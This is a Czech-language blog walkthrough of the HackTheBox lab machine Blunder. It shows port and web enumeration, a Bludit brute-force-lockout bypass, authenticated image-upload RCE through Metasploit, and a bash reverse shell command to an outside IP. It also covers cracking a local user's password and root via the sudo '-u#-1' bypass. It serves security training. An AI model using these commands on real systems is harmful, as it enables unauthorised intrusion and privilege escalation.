tom@home.htb:~$

Blog o HTB

8 November 2020

Blunder

Úvod a kontext

Blunder stojí na řetězení několika drobných, ale přesně navazujících indicií. todo.txt prozradí uživatele fergus, obsah webu poslouží jako wordlist a bypass omezení v Bluditu dovolí opravdu ubruteforcovat heslo RolandDeschain. Teprve potom přichází autentizované RCE přes upload obrázku.

Root část je stejně zajímavá jako foothold. Po shellu pod hugo už není potřeba hledat další webovou chybu; stačí správně pochopit sudo pravidlo (ALL, !root) /bin/bash a využít numerické UID -1, které obejde zamýšlené omezení.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: __CENSORED__
|_http-generator: Blunder
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml,htm,html -u http://$IP
=> todo.txt
=> -Inform fergus that the new blog needs images - PENDING

Získání přístupu

Obejítí ochrany proti brute force

todo.txt dává uživatelské jméno fergus. Z obsahu webu lze přes cewl vytvořit wordlist a skript s hlavičkou X-Forwarded-For obejde ochranu Bluditu proti opakovaným pokusům o přihlášení.

https://rastating.github.io/bludit-brute-force-mitigation-bypass/
=> Use fergus:RolandDeschain to login.

Autentizované RCE v Bluditu

Po získání administrátorského účtu už nejde o brute force, ale o zneužití funkce pro upload obrázků. Authenticated exploit vrátí první shell na webserveru.

msf6 exploit(linux/http/bludit_upload_images_exec)
=> execute -f "/bin/bash" -a "-c 'bash -i >& /dev/tcp/10.10.14.9/4000 0>&1'"

Přechod na účet hugo

V souboru bl-content/databases/users.php jsou vidět další lokální účty a hash. Z něj lze odvodit heslo Password120 a přepnout se do stabilnějšího uživatelského kontextu hugo.

/var/www/bludit-3.10.0a/bl-content/databases/users.php
=> Hugo
=> Password120

su hugo
python -c 'import pty; pty.spawn("/bin/bash")'

Získání user flagu

Jakmile běží shell jako hugo, dává smysl ověřit, že jde o skutečný uživatelský přístup a ne jen o jednorázový webový proces.

cat user.txt
__CENSORED__

Eskalace oprávnění

Průzkum možností eskalace

Lokální enumerace rychle ukáže problematické sudo pravidlo. Zápis (ALL, !root) /bin/bash vypadá na první pohled omezeně, ale historicky šel obejít přes numerické UID -1, které se vyhodnotí jako UID 0.

sudo -l
=> (ALL, !root) /bin/bash

Získání root flagu

Tady už nejde o web, ale o čistou chybu v delegaci oprávnění přes sudo.

sudo -u#-1 /bin/bash
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - rce - sudo - php - exploit - enumeration